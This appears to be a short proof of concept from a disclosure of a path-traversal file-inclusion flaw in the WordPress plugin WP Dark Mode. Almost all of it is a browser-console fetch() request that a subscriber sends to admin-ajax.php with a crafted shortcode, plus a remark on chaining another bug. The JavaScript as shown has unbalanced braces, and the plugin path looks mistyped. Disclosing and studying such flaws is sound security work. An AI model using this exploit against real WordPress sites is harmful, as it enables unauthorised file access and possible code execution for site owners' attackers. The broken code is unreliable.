As a subscriber, run the following JS code from the browser console and see that it includes the `index.php` of the root of the blog:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[wp-dark-mode style='1/../../../../../index']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Note: By default this will only work on servers where the directory to traverse does not need to exist (for example: Windows-based servers). For other servers, this will require the `/wp-content-plugins/wp-dark-mode/templates/btn-1/` directory to exist (for example: by chaining another vulnerability to create the directory).